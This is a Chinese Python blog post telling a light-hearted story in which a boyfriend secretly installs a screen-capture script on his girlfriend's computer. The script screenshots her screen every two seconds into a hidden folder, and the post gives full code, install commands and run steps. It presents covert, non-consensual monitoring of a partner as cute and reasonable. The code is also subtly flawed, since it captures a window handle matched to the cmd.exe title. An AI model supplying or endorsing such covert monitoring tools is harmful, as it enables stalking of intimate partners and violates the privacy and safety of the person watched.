百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

女友晚安之后依然在线:python男友用20行代码写了个小工具

toyiye 2024-08-19 01:02 6 浏览 0 评论

大家好,我是Lex 喜欢欺负超人那个Lex

擅长领域:python开发、网络安全渗透、Windows域控Exchange架构

今日重点:python用20代码实现录屏功能

代码干货满满,建议收藏+实操!!!有问题及需要,请留言哦~~

事情是这样的

python小哥哥发现女朋友,最近总是很忙的样子

晚上,匆匆忙忙道过晚安就不说话了

可是,QQ头像却会偶尔亮起来

小哥哥非常担心,是不是账号被盗了呢

然后,就想帮女朋友排查一下

所以就用python写了一个录制脚本,悄悄装在女友电脑上


模块安装

首先,我们需要用到两个python的两个模块,win32gui和PyQt5

pip install win32gui

pip install PyQt5

1、pip install win32gui

PS C:\Users\lex\Desktop> pip install win32gui

Looking in indexes: http://mirrors.aliyun.com/pypi/simple

Requirement already satisfied: win32gui in f:\develop\python36\lib\site-packages (221.6)

Requirement already satisfied: win32core in f:\develop\python36\lib\site-packages (from win32gui) (221.36)


2、pip install PyQt5

PS C:\Users\lex\Desktop> pip install PyQt5

Looking in indexes: http://mirrors.aliyun.com/pypi/simple

Requirement already satisfied: PyQt5 in f:\develop\python36\lib\site-packages (5.15.4)

Requirement already satisfied: PyQt5-sip<13,>=12.8 in f:\develop\python36\lib\site-packages (from PyQt5) (12.8.1)

Requirement already satisfied: PyQt5-Qt5>=5.15 in f:\develop\python36\lib\site-packages (from PyQt5) (5.15.2)

PS C:\Users\lex\Desktop>


设计思路

1、通过win32gui模块,调用windows系统的截屏功能,对屏幕进行录制。

2、通过timer定时器,实现每隔2秒钟,截屏一次,从而记录屏幕使用者的操作记录。

3、对截取的屏幕按照 截取时间进行命名,并存储到一个比较隐秘的文件夹路径中。

这样,我们通过,查看文件夹中的照片,就可以清晰的掌握 不明登陆者,在电脑上进行了什么样的操作。


代码实现

只需要简简单单10多行代码,就可以实现对windows系统电脑屏幕的录制。

代码如下:

#定义函数,每个2秒 抓取一次屏幕截屏

def timer(n):

while True:

dt= time.strftime('%Y-%m-%d %H%M%S',time.localtime())

screen = QApplication.primaryScreen()

img = screen.grabWindow(record).toImage()

img.save("D:\\images\\"+dt+".jpg")

time.sleep(n)

if __name__ == "__main__":

timer(2)


运行方法

1、python环境检查

命令行运行 python,查看python版本为3.6.5

PS C:\Users\lex\Desktop> python

Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)] on win32

Type "help", "copyright", "credits" or "license" for more information.

>>>

2、程序运行

命令行运行 python py-screen.py 即可,效果如下图:

完整代码

from PyQt5.QtWidgets import QApplication

import win32gui

import sys

import time

record = win32gui.FindWindow(None, 'C:\Windows\system32\cmd.exe')

app = QApplication(sys.argv)

def timer(n):

while True:

dt= time.strftime('%Y-%m-%d %H%M%S',time.localtime())

screen = QApplication.primaryScreen()

img = screen.grabWindow(record).toImage()

img.save("D:\\images\\"+dt+".jpg")

time.sleep(n)

if __name__ == "__main__":

timer(2)

故事结尾

最后,看了一下电脑截图

原来只是在直播而已

还好还好,python小哥哥终于可以放心的睡了


相关推荐

# Python 3 # Python 3字典Dictionary(1)

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中,格式如...

Python第八课:数据类型中的字典及其函数与方法

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值...

Python中字典详解(python 中字典)

字典是Python中使用键进行索引的重要数据结构。它们是无序的项序列(键值对),这意味着顺序不被保留。键是不可变的。与列表一样,字典的值可以保存异构数据,即整数、浮点、字符串、NaN、布尔值、列表、数...

Python3.9又更新了:dict内置新功能,正式版十月见面

机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

取消回复欢迎 发表评论:

请填写验证码